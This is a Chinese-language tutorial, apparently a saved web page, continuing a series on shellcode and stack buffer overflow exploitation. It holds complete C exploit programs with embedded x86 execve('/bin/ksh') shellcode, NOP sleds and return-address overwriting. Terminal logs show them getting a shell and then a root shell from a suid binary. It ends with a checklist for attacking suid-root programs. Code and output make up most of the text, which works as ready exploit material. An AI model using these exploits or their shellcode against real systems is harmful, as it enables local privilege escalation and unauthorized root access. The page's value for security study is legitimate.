📄 shellcode技术探讨续二.htm
字号:
<BR>#define BUFFER_SIZE 256
<BR>#define DEFAULT_OFFSET 64
<BR>
<BR>unsigned long get_esp ()
<BR>{
<BR> __asm__
<BR> ("
<BR> movl %esp, %eax
<BR> ");
<BR>}
<BR>
<BR>int main ( int argc, char * argv[] )
<BR>{
<BR>
<BR> char shellcode[] =
<BR> "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
<BR> "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
<BR> "\x80\xe8\xdc\xff\xff\xff/bin/ksh";
<BR>
<BR> char * buffer = 0;
<BR> unsigned long * pAddress = 0;
<BR> char * pChar = 0;
<BR> int i;
<BR> int offset = DEFAULT_OFFSET;
<BR>
<BR> buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
<BR> if ( buffer == 0 )
<BR> {
<BR> puts( "Can't allocate memory" );
<BR> exit( 0 );
<BR> }
<BR> pChar = buffer;
<BR> /* fill start of buffer with nops */
<BR> memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
<BR> pChar += ( BUFFER_SIZE - strlen( shellcode ) );
<BR> /* stick asm code into the buffer */
<BR> for ( i = 0; i < strlen( shellcode ); i++ )
<BR> {
<BR> *( pChar++ ) = shellcode[ i ];
<BR> }
<BR> pAddress = ( unsigned long * )pChar;
<BR> for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
<BR> {
<BR> *( pAddress++ ) = get_esp() + offset;
<BR> }
<BR> pChar = ( char * )pAddress;
<BR> *pChar = 0;
<BR> execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
<BR> return 0;
<BR>}
<BR>
<BR>程序中get_esp()函数的作用就是定位堆栈位置。首先分配一块内存buffer,然后在buffer的前面部分
<BR>填满NOP,后面部分放shellcode。最后部分是希望程序返回的地址,由栈顶指针加偏移得到。当以buffer
<BR>为参数调用overflow时,将造成overflow程序的缓冲区溢出,其缓冲区被buffer覆盖,而返回地址将指向
<BR>NOP指令。
<BR>
<BR>[scz@ /home/scz/src]> gcc -o overflow_ex overflow_ex.c
<BR>[scz@ /home/scz/src]> ./overflow_ex
<BR>... ...
<BR>.../bin/ksh...
<BR>... ...
<BR>Segmentation fault (core dumped)
<BR>[scz@ /home/scz/src]>
<BR>
<BR>失败,虽然发生了溢出,却没有取得可以使用的shell。
<BR>
<BR>9. 分析取得shell失败的原因
<BR>
<BR>条目7中给出的源代码表明overflow.c只提供了16个字节的缓冲区,
<BR>按照我们前面讨论的溢出技术,overflow_ex导致overflow的main()函数的返回地址被0x90覆盖,
<BR>没有足够空间存放shellcode。
<BR>
<BR>让我们对overflow.c做一点小小的调整以迁就overflow_ex.c的成功运行:
<BR>
<BR>old: char buffer[ 16 ] = "";
<BR>new: char buffer[ 256 ] = "";
<BR>
<BR>[scz@ /home/scz/src]> ./overflow_ex
<BR>... ... < -- -- -- NOP指令的汉字显示
<BR>.../bin/ksh...
<BR>... ... < -- -- -- 返回地址的汉字显示
<BR>$ exit < -- -- -- 取得了shell
<BR>[scz@ /home/scz/src]>
<BR>
<BR>10. 危险究竟在于什么
<BR>
<BR>假设曾经发生过这样的操作:
<BR>
<BR>[root@ /home/scz/src]> chown root.root overflow
<BR>[root@ /home/scz/src]> chmod +s overflow
<BR>[root@ /home/scz/src]> ls -l overflow
<BR>-rwsr-sr-x 1 root root overflow
<BR>[root@ /home/scz/src]>
<BR>
<BR>好了,麻烦就是这样开始的:
<BR>
<BR>[scz@ /home/scz/src]> ./overflow_ex
<BR>... ... < -- -- -- NOP指令的汉字显示
<BR>.../bin/ksh...
<BR>... ... < -- -- -- 返回地址的汉字显示
<BR># id < -- -- -- 你得到了root shell,看看你是谁吧
<BR>uid=500(scz) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
<BR> ~~~~~~~~~~~~~~~~~~~~~~~~~ 昏倒
<BR># exit
<BR>[scz@ /home/scz/src]> id
<BR>uid=500(scz) gid=100(users) groups=100(users)
<BR>[scz@ /home/scz/src]>
<BR>
<BR>至此你应该明白如何书写自己的shellcode,如何辨别一个shellcode是否
<BR>真正是在提供shell而不是木马,什么是缓冲区溢出,究竟如何利用缓冲区
<BR>溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/sgid程序的危险
<BR>性等等。于是你也明白了,为什么某些exploit出来之后如果没有补丁,
<BR>一般都建议你先chmod -s,没有什么奇怪,虽然取得shell,但不是
<BR>root shell而已。
<BR>
<BR>11. 待溢出缓冲区不足以容纳shellcode时该如何溢出
<BR>
<BR>vi overflow.c
<BR>
<BR>/* gcc -o overflow overflow.c */
<BR>int main ( int argc, char * argv[] )
<BR>{
<BR> char buffer[ 9 ] = "";
<BR> if ( argc > 1 )
<BR> {
<BR> strcpy( buffer, argv[1] );
<BR> puts( buffer );
<BR> }
<BR> else
<BR> {
<BR> puts( "Argv[1] needed!" );
<BR> }
<BR> return 0;
<BR>}
<BR>
<BR>---------------------------------------
<BR>
<BR>vi overflow_ex.c
<BR>
<BR>/* gcc -o overflow_ex overflow_ex.c */
<BR>
<BR>#define BUFFER_SIZE 256
<BR>
<BR>/* 取栈基指针 */
<BR>unsigned long get_ebp ()
<BR>{
<BR> __asm__
<BR> ("
<BR> movl %ebp, %eax
<BR> ");
<BR>}
<BR>
<BR>int main ( int argc, char * argv[] )
<BR>{
<BR>
<BR> char shellcode[] =
<BR> "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
<BR> "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
<BR> "\x80\xe8\xdc\xff\xff\xff/bin/ksh";
<BR>
<BR> char * buffer = 0;
<BR> unsigned long * pAddress = 0;
<BR> char * pChar = 0;
<BR> int i;
<BR>
<BR> buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
<BR> if ( buffer == 0 )
<BR> {
<BR> puts( "Can't allocate memory" );
<BR> exit( 0 );
<BR> }
<BR> pAddress = ( unsigned long * )buffer;
<BR> for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
<BR> {
<BR> *( pAddress++ ) = get_ebp() + BUFFER_SIZE;
<BR> }
<BR> pChar = buffer + BUFFER_SIZE;
<BR> /* fill start of buffer with nops */
<BR> memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
<BR> pChar += ( BUFFER_SIZE - strlen( shellcode ) );
<BR> /* stick asm code into the buffer */
<BR> for ( i = 0; i < strlen( shellcode ); i++ )
<BR> {
<BR> *( pChar++ ) = shellcode[ i ];
<BR> }
<BR> *pChar = 0;
<BR> execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
<BR> return 0;
<BR>}
<BR>
<BR>[scz@ /home/scz/src]> ./overflow_ex
<BR>... ... < -- -- -- 返回地址的汉字显示
<BR>... ... < -- -- -- NOP指令的汉字显示
<BR>.../bin/ksh... < -- -- -- shellcode的汉字显示
<BR>$ exit < -- -- -- 溢出成功,取得shell
<BR>[scz@ /home/scz/src]>
<BR>
<BR>warning3注:对于简单的弱点程序,这种方法是可行的.不过如果问题
<BR>函数有很多参数,并且这些参数在strcpy()之后还要使用的话,这种方
<BR>法就很难成功了.
<BR>例如:
<BR>vulnerable_func(arg1,arg2,arg3)
<BR>{
<BR>char *buffer[16];
<BR>...
<BR>strcpy(buffer,arg1);
<BR>...
<BR>other_func(arg2);
<BR>...
<BR>other_func(arg3);
<BR>...
<BR>}
<BR>如果直接覆盖,就会导致arg1,arg2,arg3也被覆盖,函数就可能不能正常返回.
<BR>
<BR>Aleph1的办法是将shellcode放到环境变量里传递给有弱点的函数,用环境变量
<BR>的地址做为返回地址,这样我们可以只用24个字节的buffer来覆盖掉返回地址,
<BR>而不需要改动参数.
<BR>
<BR>12. 总结与思考
<BR>
<BR> 上面这些例子本身很简单,完全不同于那些极端复杂的溢出例子。但无论多么
<BR> 复杂,其基本原理是一样的。要完成取得root shell的缓冲区攻击:
<BR>
<BR> a. 有一个可以发生溢出的可执行程序,各种Mail List会不断报告新发现的可供
<BR> 攻击的程序;自己也可以通过某些低级调试手段获知程序中是否存在容易发生
<BR> 溢出的函数调用,这些调试手段不属于今天讲解范畴,以后再提。
<BR> b. 该程序是root的suid程序,用ls -l确认。
<BR> c. 普通用户有适当的权限运行该程序。
<BR> d. 编写合理的溢出攻击程序,shellcode可以从以前成功使用过的例子中提取。
<BR> e. 要合理调整溢出程序,寻找(或者说探测)main()函数的返回地址存放点,找到
<BR> 它并用自己的shellcode地址覆盖它;这可能需要很大的耐心和毅力。
<BR>
<BR> 从这些简单的示例中看出,为了得到一个可成功运行的exploit,攻击者们付出过太
<BR> 多心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总结、大家群策
<BR> 群力的结果,如果认为了解几个现成的bug就可以如何如何,那是种悲哀。
<BR>
<BR>后记:
<BR>
<BR> 颠峰时刻的水木清华的确不是其他站点可以大范围超越的,尽管在某些个别版面上
<BR> 存在着分庭抗礼。如果你想了解系统安全,应该从水木清华 Hacker 版98.6以前的
<BR> 所有精华区打包文件开始,那些旧日的讨论和技术文章在现在看来也值得初学者仔
<BR> 细研读。
<BR>
<BR> 文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术,或者退一步,了解过这
<BR> 种技术,对于狂热爱好计算机技术的你来说,不是什么坏事。也许在讨论它们的时候,
<BR> 某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给你带来过不愉快
<BR> 的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<<这个杀手不
<BR> 太冷>>没有,no children、no women,我想说的不是这个,但你应该明白我想说什么。
<BR> Good luck for you.
<BR>
<BR>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -